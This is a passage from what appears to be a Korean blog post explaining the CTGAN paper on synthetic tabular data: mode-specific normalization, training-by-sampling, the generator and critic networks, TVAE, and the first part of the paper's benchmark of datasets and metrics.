&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;576&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lBaZ1/btrvL4soEwO/luwDE21fglQykaZI6kLg71/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lBaZ1/btrvL4soEwO/luwDE21fglQykaZI6kLg71/img.png&quot; data-alt=&quot;[그림 1] Gaussian mixture&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lBaZ1/btrvL4soEwO/luwDE21fglQykaZI6kLg71/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlBaZ1%2FbtrvL4soEwO%2FluwDE21fglQykaZI6kLg71%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;220&quot; height=&quot;173&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;576&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 1] Gaussian mixture&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이럴 경우 제대로 데이터를 생성하기 어렵기 때문에 normalization 과정을 거쳐야 한다. 우선 gaussian mixture에서 봉우리 개수만큼의 gaussian 확률 분포를 따르는 여러개의 sub distribution으로 나눠줘야 한다. 이 과정에서 Gaussian mixture model (VGM)이 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1309&quot; data-origin-height=&quot;458&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bavYPE/btrvUB2B8Fi/5a2ZrIs2ZSQGF4GqxklEj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bavYPE/btrvUB2B8Fi/5a2ZrIs2ZSQGF4GqxklEj0/img.png&quot; data-alt=&quot;[그림 2] mode-specific normalization example&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bavYPE/btrvUB2B8Fi/5a2ZrIs2ZSQGF4GqxklEj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbavYPE%2FbtrvUB2B8Fi%2F5a2ZrIs2ZSQGF4GqxklEj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;669&quot; height=&quot;234&quot; data-origin-width=&quot;1309&quot; data-origin-height=&quot;458&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 2] mode-specific normalization example&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;[그림 2]는 해당 논문에서 model-specific normalization의 예시로 든 사진인데, 해당 예시에서는 총 3개의 sub distribution, 즉 3개의 mode가 존재함을 알 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;우선&amp;nbsp;VGM을&amp;nbsp;통해&amp;nbsp;sub&amp;nbsp;distribution으로&amp;nbsp;나눠주고,&amp;nbsp;이&amp;nbsp;각각의&amp;nbsp;sub&amp;nbsp;distribution의&amp;nbsp;분산과&amp;nbsp;weight&amp;nbsp;를&amp;nbsp;미리&amp;nbsp;구해두자. &lt;br /&gt;다음으로 i번째 column에 해당하는 데이터인 C(i,j)를 확률밀도함수에 찍어보고, 가장 확률이 높게 나오는 sub distribution을 구해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림 2]에서는 3번째 mode에서의 확률이 가장 높게 나오므로, 이를 표현하기 위해 one-hot encoding으로 [0, 0, 1]으로 표현해주었다. 또한 해당 sub distribution의 평균과 표준편차를 통해 scalar로 표현된 가중치값인 알파값 또한 구할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이제&amp;nbsp;구한&amp;nbsp;값들을&amp;nbsp;가지고&amp;nbsp;[그림&amp;nbsp;3]과&amp;nbsp;같이&amp;nbsp;각&amp;nbsp;row들을&amp;nbsp;normalization&amp;nbsp;해주면&amp;nbsp;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;64&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cUpkBM/btrvUAvR7ac/Ri0u9GBkkQlKp69EtgsrK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cUpkBM/btrvUAvR7ac/Ri0u9GBkkQlKp69EtgsrK1/img.png&quot; data-alt=&quot;[그림 3] row normalization&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cUpkBM/btrvUAvR7ac/Ri0u9GBkkQlKp69EtgsrK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcUpkBM%2FbtrvUAvR7ac%2FRi0u9GBkkQlKp69EtgsrK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;45&quot; data-origin-width=&quot;936&quot; data-origin-height=&quot;64&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 3] row normalization&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;여기서&amp;nbsp;d(1,j)&amp;nbsp;이전의&amp;nbsp;부분들은&amp;nbsp;continuous&amp;nbsp;columns&amp;nbsp;들이고,&amp;nbsp;[그림&amp;nbsp;2]의&amp;nbsp;과정을&amp;nbsp;거쳐&amp;nbsp;mode-specific&amp;nbsp;하게&amp;nbsp;구했다.&amp;nbsp;d(1,j)&amp;nbsp;이후의&amp;nbsp;부분들은&amp;nbsp;discrete&amp;nbsp;columns&amp;nbsp;들이고&amp;nbsp;간단히&amp;nbsp;one-hot&amp;nbsp;encoding&amp;nbsp;하여&amp;nbsp;구해주었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;4.3.&amp;nbsp;Conditional&amp;nbsp;Generator&amp;nbsp;and&amp;nbsp;Training-by-Sampling&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;이제&amp;nbsp;normalization&amp;nbsp;도&amp;nbsp;마쳤겠다,&amp;nbsp;본격적으로&amp;nbsp;GAN&amp;nbsp;학습을&amp;nbsp;해볼&amp;nbsp;것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;하지만&amp;nbsp;몇가지&amp;nbsp;문제가&amp;nbsp;있다.&amp;nbsp;Discrete&amp;nbsp;변수의&amp;nbsp;경우,&amp;nbsp;각&amp;nbsp;category마다&amp;nbsp;빈도가&amp;nbsp;다르다.&amp;nbsp; &lt;br /&gt;예를&amp;nbsp;들어&amp;nbsp;'색깔'이라는&amp;nbsp;column은&amp;nbsp;discrete&amp;nbsp;변수이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제&amp;nbsp;table&amp;nbsp;T에서&amp;nbsp;'색깔'&amp;nbsp;column에&amp;nbsp;해당하는&amp;nbsp;row들을&amp;nbsp;쭉&amp;nbsp;살펴본&amp;nbsp;결과&amp;nbsp;'빨강'에&amp;nbsp;해당하는&amp;nbsp;row가&amp;nbsp;전체&amp;nbsp;row의&amp;nbsp;80%를&amp;nbsp;차지하고&amp;nbsp;'파랑'&amp;nbsp;에&amp;nbsp;해당하는&amp;nbsp;row가&amp;nbsp;나머지&amp;nbsp;20%를&amp;nbsp;차지한다고&amp;nbsp;가정해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;만약&amp;nbsp;GAN을&amp;nbsp;학습시킬때&amp;nbsp;이러한&amp;nbsp;빈도를&amp;nbsp;신경쓰지&amp;nbsp;않고&amp;nbsp;학습시키게&amp;nbsp;되면,&amp;nbsp;원래&amp;nbsp;데이터의&amp;nbsp;특징이&amp;nbsp;사라지게&amp;nbsp;된다.&amp;nbsp;이를&amp;nbsp;해결하기&amp;nbsp;위해&amp;nbsp;'Training-by-sampling'&amp;nbsp;이라는&amp;nbsp;개념을&amp;nbsp;도입하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;Training-by-sampling은&amp;nbsp;다음과&amp;nbsp;같이&amp;nbsp;진행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&amp;nbsp;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;1)&lt;/b&gt;&lt;/span&gt; 우선 N_d 개의 discrete columns 중에 랜덤으로 하나를 선택한다. 이를 i* 라 표현한다. &lt;br /&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;&amp;nbsp;2)&lt;/b&gt; &lt;/span&gt;위에서 선택된 column에 대해 &lt;span style=&quot;color: #1b711d;&quot;&gt;&lt;b&gt;PMF(확률 질량 함수)&lt;/b&gt;&lt;/span&gt;를 구한다. &lt;br /&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;&amp;nbsp;3)&lt;/b&gt;&lt;/span&gt; PMF를 따르는 확률 분포에 따라 값 하나를 선택한다. 이를 k* 번째 값이라 표현한다. &lt;br /&gt;&amp;nbsp;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;4)&lt;/b&gt; &lt;/span&gt;이제 Conditional vector를 i*와 k* 값을 고려하여 생성해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;[그림&amp;nbsp;4]는&amp;nbsp;본&amp;nbsp;논문에서&amp;nbsp;CTGAN의&amp;nbsp;전체&amp;nbsp;과정을&amp;nbsp;나타낸&amp;nbsp;그림이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[그림&amp;nbsp;4]의&amp;nbsp;예시에서는&amp;nbsp;discrete&amp;nbsp;column&amp;nbsp;중&amp;nbsp;2번째&amp;nbsp;column이&amp;nbsp;선택되었으므로&amp;nbsp;i*의&amp;nbsp;값은&amp;nbsp;2다.&amp;nbsp;또한&amp;nbsp;2번째&amp;nbsp;column중&amp;nbsp;1번째&amp;nbsp;value가&amp;nbsp;선택되었으므로&amp;nbsp;k*의&amp;nbsp;값은&amp;nbsp;1이다.&amp;nbsp; &lt;br /&gt;따라서&amp;nbsp;[00010]으로&amp;nbsp;표현되는&amp;nbsp;conditional&amp;nbsp;vector를&amp;nbsp;생성할&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1201&quot; data-origin-height=&quot;534&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bMq3cY/btrvSfTg3Zd/14N48HHobxpYKuoq5VULzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bMq3cY/btrvSfTg3Zd/14N48HHobxpYKuoq5VULzK/img.png&quot; data-alt=&quot;[그림 4] CTGAN model structure&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bMq3cY/btrvSfTg3Zd/14N48HHobxpYKuoq5VULzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbMq3cY%2FbtrvSfTg3Zd%2F14N48HHobxpYKuoq5VULzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;680&quot; height=&quot;303&quot; data-origin-width=&quot;1201&quot; data-origin-height=&quot;534&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 4] CTGAN model structure&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이렇게&amp;nbsp;taining-by-sampling&amp;nbsp;을&amp;nbsp;통해&amp;nbsp;학습을&amp;nbsp;진행할&amp;nbsp;경우,&amp;nbsp;discrete&amp;nbsp;column에&amp;nbsp;대하여&amp;nbsp;각&amp;nbsp;category&amp;nbsp;별로&amp;nbsp;기존&amp;nbsp;데이터의&amp;nbsp;빈도와&amp;nbsp;비슷하게&amp;nbsp;학습이된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;4.4.&amp;nbsp;Network&amp;nbsp;Structure&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;앞서&amp;nbsp;말한&amp;nbsp;내용들을&amp;nbsp;모두&amp;nbsp;정리하여&amp;nbsp;만든&amp;nbsp;generator&amp;nbsp;의&amp;nbsp;구조는&amp;nbsp;[그림&amp;nbsp;5]와&amp;nbsp;같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;latent&amp;nbsp;vector&amp;nbsp;에서&amp;nbsp;시작하여&amp;nbsp;2개의&amp;nbsp;hidden&amp;nbsp;layer를&amp;nbsp;거치고&amp;nbsp;난&amp;nbsp;뒤,&amp;nbsp;알파,&amp;nbsp;베타,&amp;nbsp;d&amp;nbsp;의&amp;nbsp;값을&amp;nbsp;구하게&amp;nbsp;된다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알파값은&amp;nbsp;scalar&amp;nbsp;값이므로&amp;nbsp;activation&amp;nbsp;함수로&amp;nbsp;tanh&amp;nbsp;를&amp;nbsp;사용하였고,&amp;nbsp;베타와&amp;nbsp;d는&amp;nbsp;벡터&amp;nbsp;형식의&amp;nbsp;데이터이므로&amp;nbsp;다중&amp;nbsp;class&amp;nbsp;에&amp;nbsp;대한&amp;nbsp;classification이&amp;nbsp;가능한&amp;nbsp;gumbel&amp;nbsp;sofmax&amp;nbsp;함수를&amp;nbsp;사용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;학습에&amp;nbsp;사용된&amp;nbsp;loss는&amp;nbsp;Generator&amp;nbsp;loss로,&amp;nbsp;one-hot&amp;nbsp;encoding된&amp;nbsp;벡터&amp;nbsp;m과&amp;nbsp;d&amp;nbsp;사이의&amp;nbsp;cross-entropy&amp;nbsp;loss를&amp;nbsp;사용하게&amp;nbsp;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;313&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dV80sn/btrvRyZROOf/Z3Ei2OzN3j0oAr10aOgtJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dV80sn/btrvRyZROOf/Z3Ei2OzN3j0oAr10aOgtJ0/img.png&quot; data-alt=&quot;[그림 5] Generator of CTGAN&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dV80sn/btrvRyZROOf/Z3Ei2OzN3j0oAr10aOgtJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdV80sn%2FbtrvRyZROOf%2FZ3Ei2OzN3j0oAr10aOgtJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;563&quot; height=&quot;176&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;313&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 5] Generator of CTGAN&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;또한&amp;nbsp;discriminator&amp;nbsp;(여기에서는&amp;nbsp;critic)&amp;nbsp;의&amp;nbsp;구조는&amp;nbsp;[그림&amp;nbsp;6]과&amp;nbsp;같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;discriminator는&amp;nbsp;mode&amp;nbsp;collapse를&amp;nbsp;막기&amp;nbsp;위해&amp;nbsp;10개의&amp;nbsp;sample이&amp;nbsp;한번에&amp;nbsp;들어가게&amp;nbsp;되며,&amp;nbsp;10개의&amp;nbsp;conditional&amp;nbsp;vector도&amp;nbsp;함께&amp;nbsp;들어가게&amp;nbsp;된다.&amp;nbsp;(PacGAN&amp;nbsp;구조&amp;nbsp;사용)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국&amp;nbsp;마지막&amp;nbsp;레이어에서는&amp;nbsp;1개의&amp;nbsp;노드만이&amp;nbsp;남게&amp;nbsp;되며&amp;nbsp;real&amp;nbsp;데이터라면&amp;nbsp;1,&amp;nbsp;fake&amp;nbsp;데이터라면&amp;nbsp;0으로&amp;nbsp;예측하게&amp;nbsp;된다.&amp;nbsp;학습에는&amp;nbsp;WGAN&amp;nbsp;loss가&amp;nbsp;사용되며&amp;nbsp;optimizer로는&amp;nbsp;Adam이&amp;nbsp;사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;195&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/deNH4c/btrvSBBHocA/GiU8gDuqyW0cqDypnGKfZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/deNH4c/btrvSBBHocA/GiU8gDuqyW0cqDypnGKfZ1/img.png&quot; data-alt=&quot;[그림 6] Discriminator of CTGAN&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/deNH4c/btrvSBBHocA/GiU8gDuqyW0cqDypnGKfZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdeNH4c%2FbtrvSBBHocA%2FGiU8gDuqyW0cqDypnGKfZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;548&quot; height=&quot;139&quot; data-origin-width=&quot;769&quot; data-origin-height=&quot;195&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 6] Discriminator of CTGAN&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;4.5. TVAE Model&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;GAN&amp;nbsp;뿐&amp;nbsp;아니라&amp;nbsp;VAE에도&amp;nbsp;해당&amp;nbsp;방식을&amp;nbsp;적용할&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;구조는&amp;nbsp;[그림&amp;nbsp;7]과&amp;nbsp;같다. &lt;br /&gt;나머지는&amp;nbsp;모두&amp;nbsp;전체적인&amp;nbsp;구조는&amp;nbsp;거의&amp;nbsp;모두&amp;nbsp;같고,&amp;nbsp;cross&amp;nbsp;entropy를&amp;nbsp;사용했던&amp;nbsp;generator&amp;nbsp;loss와&amp;nbsp;다르게&amp;nbsp;ELBO&amp;nbsp;loss를&amp;nbsp;사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1380&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPzi5b/btrvNSDZzHr/Inr2DJPOtL5mef0LAFbGc0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPzi5b/btrvNSDZzHr/Inr2DJPOtL5mef0LAFbGc0/img.png&quot; data-alt=&quot;[그림 7] TVAE generator&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPzi5b/btrvNSDZzHr/Inr2DJPOtL5mef0LAFbGc0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPzi5b%2FbtrvNSDZzHr%2FInr2DJPOtL5mef0LAFbGc0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1380&quot; height=&quot;368&quot; data-origin-width=&quot;1380&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 7] TVAE generator&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;5.&amp;nbsp;Benchmarking&amp;nbsp;Synthetic&amp;nbsp;Data&amp;nbsp;Generation&amp;nbsp;Algorithms&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;5.1. baselines and Datasets&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;본&amp;nbsp;논문에서&amp;nbsp;제안하는&amp;nbsp;데이터&amp;nbsp;생성&amp;nbsp;알고리즘에&amp;nbsp;대한&amp;nbsp;benchmark&amp;nbsp;시스템에서&amp;nbsp;기반으로&amp;nbsp;사용되는&amp;nbsp;baselines는&amp;nbsp;Bayesian&amp;nbsp;networks(CLBN,&amp;nbsp;privBN)와&amp;nbsp;딥러닝을&amp;nbsp;사용한&amp;nbsp;synthetic&amp;nbsp;data&amp;nbsp;generation&amp;nbsp;(MedGAN,&amp;nbsp;VeeGAN,&amp;nbsp;TableGAN)&amp;nbsp;등이&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;본&amp;nbsp;benchmark에&amp;nbsp;사용되는&amp;nbsp;데이터셋은&amp;nbsp;크게&amp;nbsp;두가지로&amp;nbsp;분류할&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;&amp;nbsp;1) Simulated data &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;실제&amp;nbsp;데이터로부터&amp;nbsp;오라클&amp;nbsp;S를&amp;nbsp;통해&amp;nbsp;simulate된&amp;nbsp;데이터이다.&amp;nbsp;Gausian&amp;nbsp;mixture&amp;nbsp;모델을&amp;nbsp;사용해&amp;nbsp;simulate한&amp;nbsp;Grid,&amp;nbsp;Ring과&amp;nbsp;Bayesian&amp;nbsp;network&amp;nbsp;모델을&amp;nbsp;사용해&amp;nbsp;simulate한&amp;nbsp;alarm,&amp;nbsp;child,&amp;nbsp;asia,&amp;nbsp;insurance&amp;nbsp;데이터셋이&amp;nbsp;있다. &lt;br /&gt;이렇게&amp;nbsp;simulate한&amp;nbsp;데이터셋의&amp;nbsp;경우&amp;nbsp;실제&amp;nbsp;해당&amp;nbsp;데이터셋의&amp;nbsp;실제&amp;nbsp;분포를&amp;nbsp;정확하게&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있다는&amp;nbsp;특징이&amp;nbsp;존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;&amp;nbsp;2) Real data &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;실제로&amp;nbsp;존재하는&amp;nbsp;데이터셋도&amp;nbsp;사용하였다.&amp;nbsp;UCI&amp;nbsp;ML&amp;nbsp;repository에서&amp;nbsp;6개의&amp;nbsp;자주&amp;nbsp;사용되는&amp;nbsp;데이터셋을&amp;nbsp;선정하였으며,&amp;nbsp;MNIST&amp;nbsp;데이터셋을&amp;nbsp;기반으로&amp;nbsp;MNIST28,&amp;nbsp;MNIST12&amp;nbsp;데이터셋도&amp;nbsp;선정하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;5.2.&amp;nbsp;Evaluation&amp;nbsp;Metrics&amp;nbsp;and&amp;nbsp;Framework&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;이제&amp;nbsp;본&amp;nbsp;논문에서&amp;nbsp;제안하는&amp;nbsp;두가지&amp;nbsp;metric&amp;nbsp;을&amp;nbsp;하나씩&amp;nbsp;살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;Likelihood fitness metric&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Likelihood&amp;nbsp;fitness&amp;nbsp;metric&amp;nbsp;에서는&amp;nbsp;앞서&amp;nbsp;설명한&amp;nbsp;두가지&amp;nbsp;데이터셋&amp;nbsp;타입&amp;nbsp;중,&amp;nbsp;Simulated&amp;nbsp;data를&amp;nbsp;사용하게&amp;nbsp;된다. &lt;br /&gt;[그림&amp;nbsp;8]은&amp;nbsp;Likelihood&amp;nbsp;fitness&amp;nbsp;metric를&amp;nbsp;구하는데&amp;nbsp;사용된&amp;nbsp;framework를&amp;nbsp;나타낸&amp;nbsp;것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
